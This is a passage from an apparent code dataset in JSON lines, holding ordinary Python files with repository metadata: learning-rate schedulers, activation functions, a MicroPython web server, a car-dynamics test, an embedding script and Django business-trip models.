{"api_name": "pathlib.Path", "line_number": 346, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 354, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 354, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 355, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 355, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 356, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 356, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 358, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 358, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 360, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 360, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 362, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 362, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 364, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 364, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 366, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 366, "usage_type": "name"}, {"api_name": "wind_forecast.util.logging.log.info", "line_number": 368, "usage_type": "call"}, {"api_name": "wind_forecast.util.logging.log", "line_number": 368, "usage_type": "name"}]}
{"seq_id": "29358266833", "text": "import math\n\nimport torch\nfrom torch.optim.lr_scheduler import _LRScheduler\n\n\nclass CosineWarmupLR(_LRScheduler):\n\n    def __init__(self, optimizer, epochs, lr_min=0, warmup_epochs=0, last_epoch=-1):\n        self.lr_min = lr_min\n        self.warmup_epochs = warmup_epochs\n        self.cosine_epochs = epochs - warmup_epochs\n        super(CosineWarmupLR, self).__init__(optimizer, last_epoch)\n\n    def get_lr(self):\n        if self.last_epoch < self.warmup_epochs:\n            return [(self.lr_min + (base_lr - self.lr_min) * self.last_epoch / self.warmup_epochs) for base_lr in self.base_lrs]\n        else:\n            return [(self.lr_min + (base_lr - self.lr_min) * \\\n                (1 + cos(pi * (self.last_epoch - self.warmup_epochs) / self.cosine_epochs)) / 2) \\\n                    for base_lr in self.base_lrs]\n\n\nclass PolynomialLRDecay(_LRScheduler):\n    \n    def __init__(self, optimizer, max_decay_steps, end_learning_rate=1e-5, power=0.9):\n        if max_decay_steps <= 1.:\n            raise ValueError('max_decay_steps should be greater than 1.')\n        self.max_decay_steps = max_decay_steps\n        self.end_learning_rate = end_learning_rate\n        self.power = power\n        self.last_step = 0\n        super().__init__(optimizer)\n        \n    def get_lr(self):\n        if self.last_step > self.max_decay_steps:\n            return [self.end_learning_rate for _ in self.base_lrs]\n\n        return [(base_lr - self.end_learning_rate) * \n                ((1 - self.last_step / self.max_decay_steps) ** (self.power)) + \n                self.end_learning_rate for base_lr in self.base_lrs]\n    \n    def step(self, step=None):\n        if step is None:\n            step = self.last_step + 1\n        self.last_step = step if step != 0 else 1\n        if self.last_step <= self.max_decay_steps:\n            decay_lrs = [(base_lr - self.end_learning_rate) * \n                         ((1 - self.last_step / self.max_decay_steps) ** (self.power)) + \n                         self.end_learning_rate for base_lr in self.base_lrs]\n            for param_group, lr in zip(self.optimizer.param_groups, decay_lrs):\n                param_group['lr'] = lr", "repo_name": "BlindOver/blindover_AI", "sub_path": "utils/scheduler.py", "file_name": "scheduler.py", "file_ext": "py", "file_size_in_byte": 2150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.optim.lr_scheduler._LRScheduler", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.optim.lr_scheduler._LRScheduler", "line_number": 24, "usage_type": "name"}]}
{"seq_id": "36836100823", "text": "import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n\r\ndef step_function_1input(x):\r\n    if x > 0:\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\n\r\n# activate function for intermediate layer\r\ndef step_function(x):\r\n    y = x > 0\r\n    return y.astype(np.int)\r\n\r\n\r\ndef sigmoid(x):\r\n    return 1 / (1 + np.exp(-x))\r\n\r\n\r\ndef relu(x):\r\n    return np.maximum(0, x)\r\n\r\n\r\n# activate function for output layer\r\ndef identity_function(x):\r\n    return x\r\n\r\n\r\n# text初出のときはこっち。\r\n# def softmax(a):\r\n#     c = np.max(a)\r\n#     exp_a = np.exp(a - c)  # overflow対策\r\n#     sum_exp_a = np.sum(exp_a)\r\n#     y = exp_a / sum_exp_a\r\n#     return y\r\n\r\ndef softmax(x):\r\n    if x.ndim == 2:\r\n        x = x.T\r\n        x = x - np.max(x, axis=0)\r\n        y = np.exp(x) / np.sum(np.exp(x), axis=0)\r\n        return y.T\r\n\r\n    x = x - np.max(x)  # オーバーフロー対策\r\n    return np.exp(x) / np.sum(np.exp(x))\r\n\r\n\r\n# test graph show\r\ndef test():\r\n    x = np.arange(-5, 5, 0.1)\r\n    y = step_function(x)\r\n    plt.plot(x, y, 'o-')\r\n    plt.show()\r\n\r\n    x = np.arange(-5, 5, 0.1)\r\n    y = sigmoid(x)\r\n    plt.plot(x, y, 'o-')\r\n    plt.show()\r\n\r\n    x = np.arange(-5, 5, 0.1)\r\n    y = relu(x)\r\n    plt.plot(x, y, 'o-')\r\n    plt.show()\r\n\r\n    x = np.arange(-5, 5, 0.1)\r\n    y = identity_function(x)\r\n    plt.plot(x, y, 'o-')\r\n    plt.show()\r\n\r\n    x = np.arange(-5, 5, 0.1)\r\n    y = softmax(x)\r\n    plt.plot(x, y, 'o-')\r\n    plt.show()\r\n", "repo_name": "yonez-jmgmg/study_deepLearning", "sub_path": "source/ch_03/activation_functions.py", "file_name": "activation_functions.py", "file_ext": "py", "file_size_in_byte": 1438, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.int", "line_number": 15, "usage_type": "attribute"}, {"api_name": "numpy.exp", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 46, "usage_type": "call"}, {"api_name": "numpy.exp", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 47, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 67, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 72, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 74, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 74, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 75, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 75, "usage_type": "name"}]}
{"seq_id": "4862255192", "text": "import json\n\ndef loadFile(file):\n    \"\"\"\n    load data from .json file into variable\n    \"\"\"\n    f = open(file)\n    # returns JSON object as \n    # a dictionary\n    data = json.load(f)\n    f.close()\n    return data\n\ndef updateFile(file, data):\n    \"\"\"\n    save json data into file\n    \"\"\"\n    with open(file, \"w\") as outfile: \n        json.dump(data, outfile)\n    return False", "repo_name": "aallali/quickScrapperFreelance", "sub_path": "scrapper/utils/json_utils.py", "file_name": "json_utils.py", "file_ext": "py", "file_size_in_byte": 376, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 10, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "37523075802", "text": "# coding=UTF-8\n\nimport socket, select, json, gc\nfrom binascii import a2b_base64, hexlify\nfrom micropython import const\nfrom hashlib import sha1\n\nclass server:\n\n\tdef __init__(self, port = 80):\n\n\t\ttry: self.users = json.load(open('/etc/users.json', 'r'))\n\t\texcept: self.users = dict()\n\n\t\tself.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n\t\tself.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n\t\tself.sock.bind(('', port))\n\t\tself.sock.listen(25)\n\n\t\tself.poll = select.poll()\n\t\tself.poll.register(self.sock, select.POLLIN)\n\n\t\tself.slites = dict()\n\n\tdef accept(self):\n\n\t\tif self.poll.poll(1000):\n\n\t\t\ttry: s = self.sock.accept()[0]\n\t\t\texcept: return None\n\t\t\telse: s.settimeout(3)\n\n\t\t\ttry: self.recv(s)\n\t\t\texcept: pass\n\t\t\telse: gc.collect()\n\t\t\tfinally: s.close()\n\n\tdef recv(self, sock):\n\n\t\ttry:\n\n\t\t\ttry: buff = sock.recv(1024)\n\t\t\texcept: return None\n\n\t\t\twhile buff.find(b'\\r\\n\\r\\n') == -1:\n\t\t\t\tif not buff: raise BufferError\n\t\t\t\telse: buff += sock.recv(1024)\n\n\t\t\tif not self.auth(buff):\n\t\t\t\tcode = b'401 Unauthorized'\n\t\t\t\tslite = None\n\n\t\t\telif buff.startswith(b'GET /'):\n\t\t\t\tslite, par = self.get(buff, sock)\n\n\t\t\telif buff.startswith(b'POST /'):\n\t\t\t\tslite, par = self.post(buff, sock)\n\n\t\t\telse:\n\t\t\t\tcode = b'405 Method Not Allowed'\n\t\t\t\tslite = None\n\n\t\t\tdel buff; gc.collect()\n\n\t\t\tif slite: code = self.resp(slite, par, sock)\n\n\t\t\tif code: sock.sendall(\\\n\t\t\t\tb'HTTP/1.1 %s\\r\\n' \\\n\t\t\t\tb'Allow: GET, POST\\r\\n' \\\n\t\t\t\tb'Connection: close\\r\\n' \\\n\t\t\t\tb'Content-Length: %s\\r\\n' \\\n\t\t\t\tb'WWW-Authenticate: Basic\\r\\n' \\\n\t\t\t\tb'Accept: application/json\\r\\n' \\\n\t\t\t\tb'text/plain; charset=utf-8\\r\\n' \\\n\t\t\t\tb'\\r\\n%s' % (code, len(code), code))\n\n\t\texcept: raise\n\t\tfinally: gc.collect()\n\n\tdef resp(self, slite, par, sock):\n\n\t\tcon = mim = siz = res = None\n\n\t\tif slite in self.slites:\n\t\t\ttry: con = self.slites[slite](par)\n\t\t\texcept: return b'406 Not Acceptable'\n\n\t\telse:\n\t\t\ttry: res, mim, siz = self.slite(slite)\n\t\t\texcept: return b'404 Not Found'\n\n\t\tif res == None: res = str(con).encode()\n\t\tif mim == None: mim = self.mime(slite)\n\t\tif siz == None: siz = len(res)\n\n\t\ttry:\n\n\t\t\tsock.sendall(\\\n\t\t\t\tb'HTTP/1.1 200 OK\\r\\n' \\\n\t\t\t\tb'Content-Type: %s\\r\\n' \\\n\t\t\t\tb'Connection: close\\r\\n' \\\n\t\t\t\tb'Content-Length: %s\\r\\n' \\\n\t\t\t\tb'\\r\\n' % (mim, siz))\n\t\t\tsock.sendall(res)\n\n\t\texcept: raise\n\t\tfinally: del res\n\n\tdef get(self, req, sock):\n\n\t\te = req.find(b'\\r\\n')\n\t\ta = req.find(b'GET /', 0, e) + 5\n\t\tb = req.find(b' HTTP', a, e)\n\n\t\tif a == 4 or b == -1 or a > b:\n\t\t\treturn str(), dict()\n\t\telse: req = req[a:b]\n\n\t\tpar = req.find(b'?')\n\t\td = self.unquote\n\n\t\tif par != -1:\n\n\t\t\tslite = d(req[0:par])\n\t\t\treq = req[par+1:]\n\t\t\tvlist = self.split(req)\n\n\t\telse:\n\n\t\t\tslite = d(req)\n\t\t\tvlist = dict()\n\n\t\tif slite == b'': slite = 'index.html'\n\t\telse: slite = slite.decode()\n\n\t\treturn slite, vlist\n\n\tdef post(self, req, sock):\n\n\t\te = req.find(b'\\r\\n')\n\t\ta = req.find(b'POST /', 0, e) + 6\n\t\tb = req.find(b' HTTP', a, e)\n\t\te = req.find(b'\\r\\n\\r\\n', e)\n\t\td = self.unquote\n\n\t\tif a == 5 or b == -1 or a > b:\n\t\t\treturn str(), dict()\n\n\t\telif a == b: slite = 'index.html'\n\t\telse: slite = d(req[a:b]).decode()\n\n\t\tj = req.find(b'Content-Type: application/json', b, e)\n\t\tp = req.find(b'Content-Type: text/plain', b, e)\n\t\ta = req.find(b'Content-Length: ', b, e) + 15\n\t\tb = req.find(b'\\r\\n', a, e)\n\n\t\tif a == 14 or b == -1 or a > b:\n\t\t\treturn slite, dict()\n\n\t\telse:\n\t\t\ttry: leng = int(req[a:b])\n\t\t\texcept: return slite, dict()\n\t\t\telse: req = req[e+4:]\n\n\t\twhile len(req) != leng:\n\t\t\ttry: req += sock.recv(leng - len(req))\n\t\t\texcept: return slite, dict()\n\t\t\tif not req: raise BufferError\n\n\t\tif j != -1: vlist = json.loads(req)\n\t\telif p != -1: vlist = req.decode()\n\t\telse: vlist = self.split(req)\n\n\t\treturn slite, vlist\n\n\tdef auth(self, req):\n\n\t\tif not len(self.users): return True\n\n\t\ts = req.find(b'\\r\\n') + 2\n\t\te = req.find(b'\\r\\n\\r\\n')\n\t\ta = req.find(b'Authorization: Basic ', s, e) + 21\n\t\tb = req.find(b'\\r\\n', a)\n\n\t\tif a == 20 or b == -1 or a > b: return False\n\t\telse: auth = a2b_base64(req[a:b]).split(b':')\n\n\t\tif len(auth) != 2: return False\n\t\telse:\n\t\t\tu = auth[0].decode()\n\t\t\tp = auth[1].decode()\n\n\t\tif not u in self.users: return False\n\t\telse:\n\t\t\th = hexlify(sha1(p).digest())\n\t\t\tok = self.users[u] == h.decode()\n\n\t\treturn ok\n\n\tdef unquote(self, string):\n\n\t\tif not string: return bytes()\n\t\tif not b'%' in string: return string\n\n\t\tbits = string.split(b'%')\n\t\tres = [ bits[0] ]\n\n\t\tfor s in bits[1:]:\n\n\t\t\ttry:\n\n\t\t\t\tchar = bytes([int(s[:2], 16)])\n\t\t\t\tres.append(char)\n\t\t\t\tres.append(s[2:])\n\n\t\t\texcept:\n\n\t\t\t\tres.append(b'%')\n\t\t\t\tres.append(s)\n\n\t\treturn b''.join(res)\n\n\tdef split(self, string):\n\n\t\td = self.unquote\n\t\tvlist = dict()\n\n\t\tfor p in string.split(b'&'):\n\n\t\t\tif p.find(b'=') != -1:\n\n\t\t\t\ti = p.split(b'=')\n\t\t\t\tk = d(i[0]).decode()\n\t\t\t\tv = d(i[1]).decode()\n\n\t\t\t\tvlist[k] = v\n\n\t\t\telse:\n\n\t\t\t\tk = d(p).decode()\n\t\t\t\tvlist[k] = None\n\n\t\treturn vlist\n\n\tdef slite(self, path):\n\n\t\tif path == 'favicon.ico': path = '/obj/favicon.ico'\n\n\t\telif path.endswith('.html'): path = '/http/%s' % path\n\t\telif path.endswith('.json'): path = '/etc/%s' % path\n\t\telif path.endswith('.css'): path = '/css/%s' % path\n\t\telif path.endswith('.js'): path = '/src/%s' % path\n\n\t\telse: path = '/var/%s' % path\n\n\t\ttry:\n\n\t\t\twith open(path, 'rb') as f:\n\n\t\t\t\tmime = self.mime(path)\n\t\t\t\tcont = f.read()\n\t\t\t\tsize = len(cont)\n\n\t\texcept: raise\n\t\telse: return cont, mime, size\n\n\tdef mime(self, path):\n\n\t\tif path.startswith('/var/'): mime = b'application/json'\n\t\telif path.endswith('.html'): mime = b'text/html'\n\t\telif path.endswith('.json'): mime = b'application/json'\n\t\telif path.endswith('.css'): mime = b'text/css'\n\t\telif path.endswith('.ico'): mime = b'image/png'\n\t\telif path.endswith('.js'): mime = b'text/javascript'\n\n\t\telse: mime = b'text/plain'\n\n\t\treturn b'%s; charset=utf-8' % mime\n\n\tdef defslite(self, slite, callback):\n\n\t\tself.slites[slite] = callback\n\n\tdef rmslite(self, slite):\n\n\t\tdel self.slites[slite]\n", "repo_name": "Kuszki/K-ESP-CTRL", "sub_path": "lib/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 5838, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.load", "line_number": 12, "usage_type": "call"}, {"api_name": "socket.socket", "line_number": 15, "usage_type": "call"}, {"api_name": "socket.AF_INET", "line_number": 15, "usage_type": "attribute"}, {"api_name": "socket.SOCK_STREAM", "line_number": 15, "usage_type": "attribute"}, {"api_name": "socket.SOL_SOCKET", "line_number": 17, "usage_type": "attribute"}, {"api_name": "socket.SO_REUSEADDR", "line_number": 17, "usage_type": "attribute"}, {"api_name": "select.poll", "line_number": 21, "usage_type": "call"}, {"api_name": "select.POLLIN", "line_number": 22, "usage_type": "attribute"}, {"api_name": "gc.collect", "line_number": 36, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 64, "usage_type": "call"}, {"api_name": "gc.collect", "line_number": 79, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 171, "usage_type": "call"}, {"api_name": "binascii.a2b_base64", "line_number": 187, "usage_type": "call"}, {"api_name": "binascii.hexlify", "line_number": 196, "usage_type": "call"}, {"api_name": "hashlib.sha1", "line_number": 196, "usage_type": "call"}]}
{"seq_id": "37232703664", "text": "from driving.car import *\nimport numpy as np\nimport pytest\n\ndef test_car():\n  car = DubinsCarModel(speed=1.0, max_turn_rate=pi)\n  s = (0.0, 0.5, -0.1)\n  sp = car.dynamics(s, 0.0, 1.0)\n  assert sp[0] == pytest.approx(cos(-0.1))\n  assert sp[1] == pytest.approx(0.5+sin(-0.1))\n  assert sp[2] == pytest.approx(2*pi-0.1)\n  s = (0.0, 0.5, 0.0)\n  dt = pi/4\n  sp = car.dynamics(s, -(pi/2)/dt, dt)\n  assert sp[0] == pytest.approx(0.5)\n  assert sp[1] == pytest.approx(0.0)\n  assert sp[2] == pytest.approx(2*pi-pi/2)\n", "repo_name": "zsunberg/ai4all-berkeley-driving", "sub_path": "driving/test_car.py", "file_name": "test_car.py", "file_ext": "py", "file_size_in_byte": 506, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pytest.approx", "line_number": 9, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 10, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 11, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 15, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 16, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 17, "usage_type": "call"}]}
{"seq_id": "38024841586", "text": "import torch\r\nfrom transformers import BertTokenizer\r\nfrom transformers import BertModel\r\nfrom sentence_transformers import SentenceTransformer\r\nfrom sentence_transformers import models\r\nimport numpy\r\nimport os\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimport pandas as pd\r\nimport json\r\nimport cx_Oracle\r\n\r\n#loading bert model for sentence embedding\r\nword_embedding_model = models.Transformer(\"./bertmodels/output2\")\r\n# Apply mean pooling to get one fixed sized sentence vector\r\npooling_model = models.Pooling(word_embedding_model.get_word_embedding_dimension(),\r\n                               pooling_mode_mean_tokens=True,\r\n                               pooling_mode_cls_token=False,\r\n                               pooling_mode_max_tokens=False)\r\n\r\nmodel_sentence_embedding = SentenceTransformer(modules=[word_embedding_model, pooling_model])\r\n\r\n#df = pd.read_excel('companylist.xlsx')\r\ncompanys = [f for f in listdir(\"annual_reports/\")]\r\nfor company in companys:\r\n\tsentences = []\r\n\toutputpath = 'jsons/'+ company + \"/\"\r\n\tif not os.path.exists(outputpath):\r\n\t\tos.makedirs(outputpath)\r\n\tcompanyPath = \"annual_reports/\" + company + \"/\"\r\n\tseasons = [f for f in listdir(companyPath)]\r\n\tfor season in seasons:\r\n\t\tdic = {}\r\n\t\trf = open(companyPath + season, 'r', encoding='utf-8')  \r\n\t\tlines = rf.readlines()\r\n\t\tstring = \"\"\r\n\t\tMAXLEN = 300\r\n\t\tfor line in lines:\r\n\t\t\tif len(string)+len(line) >= 200:\r\n\t\t\t\twhile(len(string) > MAXLEN):\r\n\t\t\t\t\tsentences.append(string[:MAXLEN])\r\n\t\t\t\t\tstring = string[MAXLEN:]\r\n\t\t\t\tsentences.append(string)\r\n\t\t\t\tstring = line\r\n\t\t\telse:\r\n\t\t\t\tstring = string + line\r\n\t\tsentences.append(string)\r\n\t\tall_sentence_embeddings = model_sentence_embedding.encode(sentences)  # Batch size 1\r\n\t\tvecs_sentence_embedding = all_sentence_embeddings\r\n\t\tvecs_sentence_embedding = numpy.array(vecs_sentence_embedding).tolist()\r\n\t\t#fp = open( outputpath + file + \"/\" + companyFile[:-4] + \".json\", \"w\")\r\n\t\t#for vec in vecs_sentence_embedding:\r\n\t\tfor i in range(len(vecs_sentence_embedding)):\r\n\t\t\tdic[sentences[i]] = vecs_sentence_embedding[i]\r\n\t\twith open(outputpath + season[:-4] + \".json\", 'w') as fp:\r\n\t\t\tjson.dump(dic, fp)\r\n", "repo_name": "lalami0908/Enterprise-Annual-and-Financial-Report-QA-System", "sub_path": "preprocessing/PreEmbeddingTXT.py", "file_name": "PreEmbeddingTXT.py", "file_ext": "py", "file_size_in_byte": 2150, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sentence_transformers.models.Transformer", "line_number": 15, "usage_type": "call"}, {"api_name": "sentence_transformers.models", "line_number": 15, "usage_type": "name"}, {"api_name": "sentence_transformers.models.Pooling", "line_number": 17, "usage_type": "call"}, {"api_name": "sentence_transformers.models", "line_number": 17, "usage_type": "name"}, {"api_name": "sentence_transformers.SentenceTransformer", "line_number": 22, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 30, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 51, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 57, "usage_type": "call"}]}
{"seq_id": "70471393224", "text": "from django.core.validators import FileExtensionValidator\nfrom django.db import models\nfrom utils.base.base_model import BaseModel\n\nBUSINESS_TRIP_STATUSES = [\n    ('awaiting_review', 'Заявка на проверке'),\n    ('fix_required', 'Нужны правки по заявке'),\n    ('soon', 'Скоро командировка'),\n    ('in_trip', 'В командировке'),\n    ('submitting_docs', 'Сдаю документы'),\n    ('awaiting_docs_check', 'На проверке / доки'),\n    ('need_docs_fix', 'Нужны правки / доки'),\n    ('awaiting_advance_report', 'Ожидается авансовый отчет'),\n    ('awaiting_ao_check', 'На проверке / АО'),\n    ('need_ao_fix', 'Нужны правки / АО'),\n    ('all_submitted', 'Все сдано'),\n    ('cancellation', 'Отмена командировки')\n]\n\nDAILY_ALLOWANCE_STATUSES = [\n    ('accrued', 'Начислены'),\n    ('not_accrued', 'Не начислены')\n]\n\nSUPPORTED_EXTENSIONS = ['jpg', 'jpeg', 'png', 'pdf', 'doc', 'docx', 'heic']\n\n\nclass BusinessTrip(models.Model):\n    user = models.ForeignKey('users.User', on_delete=models.CASCADE, related_name='business_trip', verbose_name='Пользователь', blank=True, null=True)\n    departure_date = models.DateField(verbose_name='Дата отправления', null=True, blank=True)\n    return_date = models.DateField(verbose_name='Дата возвращения', null=True, blank=True)\n    duration = models.SmallIntegerField(verbose_name='Продолжительность', null=True, blank=True)\n    departure_country = models.CharField(max_length=225, verbose_name='Страна отправления', null=True, blank=True)\n    departure_city = models.CharField(max_length=225, verbose_name='Город отправления', null=True, blank=True)\n    destination_country = models.CharField(max_length=225, verbose_name='Страна назначения', null=True, blank=True)\n    destination_city = models.CharField(max_length=225, verbose_name='Город назначения', null=True, blank=True)\n    total_cost = models.DecimalField(max_digits=25, decimal_places=2, verbose_name='Общая стоимость', blank=True, null=True)\n    supervisor = models.ForeignKey('users.User', on_delete=models.PROTECT, related_name='supervised_business_trip', verbose_name='Руководитель', default=None, null=True, blank=True)\n    assistant = models.ForeignKey('users.User', on_delete=models.PROTECT, related_name='assisted_business_trip', verbose_name='Ассистент', default=None, null=True)\n    goal = models.TextField(verbose_name='Цель командировки', null=True, blank=True)\n    debts = models.DecimalField(max_digits=10, decimal_places=2, verbose_name='Долги', null=True, blank=True, default=0)\n    status = models.CharField(max_length=25, choices=BUSINESS_TRIP_STATUSES, verbose_name='Статус', default='awaiting_review', null=True, blank=True)\n    is_approved = models.BooleanField(default=False)\n    daily_allowance_status = models.CharField(choices=DAILY_ALLOWANCE_STATUSES, verbose_name='Статус суточных', default='not_accrued', max_length=25, null=True, blank=True)\n\n    class Meta:\n        verbose_name = 'Заявка на командировку'\n        verbose_name_plural = 'Заявки на командировку'\n\n    def __str__(self):\n        return f'Командировка #{self.id}'\n\n\nclass BusinessTripCertificate(BaseModel):\n    business_trip = models.ForeignKey(\n        'BusinessTrip', on_delete=models.CASCADE, related_name='business_trip_certificates',\n        verbose_name='Заявка на командировку'\n    )\n    file = models.FileField(\n        upload_to='business_trip_certificates/', null=True, blank=True,\n        validators=[FileExtensionValidator(allowed_extensions=SUPPORTED_EXTENSIONS)],\n        verbose_name='Командировочное удостоверение'\n    )\n\n    class Meta:\n        verbose_name = 'Командировочное удостоверение'\n        verbose_name_plural = 'Командировочные удостоверения'\n\n    def __str__(self):\n        return f'Командировочное удостоверение #{self.id} к командировке #{self.business_trip_id}'\n\n\nclass BusinessTripReport(BaseModel):\n    business_trip = models.ForeignKey('BusinessTrip', on_delete=models.CASCADE,\n                                      related_name='business_trip_reports', verbose_name='Заявка на командировку')\n    file = models.FileField(\n        upload_to='business_trip_reports/', null=True, blank=True,\n        validators=[FileExtensionValidator(allowed_extensions=SUPPORTED_EXTENSIONS)],\n        verbose_name='Отчет о командировке'\n    )\n\n    class Meta:\n        verbose_name = 'Отчет о командировке'\n        verbose_name_plural = 'Отчеты о командировке'\n\n    def __str__(self):\n        return f'Отчет о командировке #{self.id} к командировке #{self.business_trip_id}'\n\n\nclass AdvancedCostReport(BaseModel):\n    business_trip = models.ForeignKey(\n        'BusinessTrip', on_delete=models.CASCADE, related_name='advanced_cost_reports',\n        verbose_name='Заявка на командировку', null=True\n    )\n    file = models.FileField(\n        upload_to='advanced_cost_reports/', null=True, blank=True,\n        validators=[FileExtensionValidator(allowed_extensions=SUPPORTED_EXTENSIONS)],\n        verbose_name='Авансовый отчет'\n    )\n\n    class Meta:\n        verbose_name = 'Авансовый отчет'\n        verbose_name_plural = 'Авансовые отчеты'\n\n    def __str__(self):\n        return f'Авансовый отчет #{self.id} к командировке #{self.business_trip_id}'\n", "repo_name": "Hikki02/code-example", "sub_path": "apps/business_trips/models/business_trip_model.py", "file_name": "business_trip_model.py", "file_ext": "py", "file_size_in_byte": 5928, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.db.models.Model", "line_number": 28, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 28, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 29, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 29, "usage_type": "name"}, {"api_name": "django.db.models.CASCADE", "line_number": 29, "usage_type": "attribute"}, {"api_name": "django.db.models.DateField", "line_number": 30, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 30, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 31, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 31, "usage_type": "name"}, {"api_name": "django.db.models.SmallIntegerField", "line_number": 32, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 32, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 33, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 33, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 34, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 34, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 35, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 35, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 36, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 36, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 37, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 37, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 38, 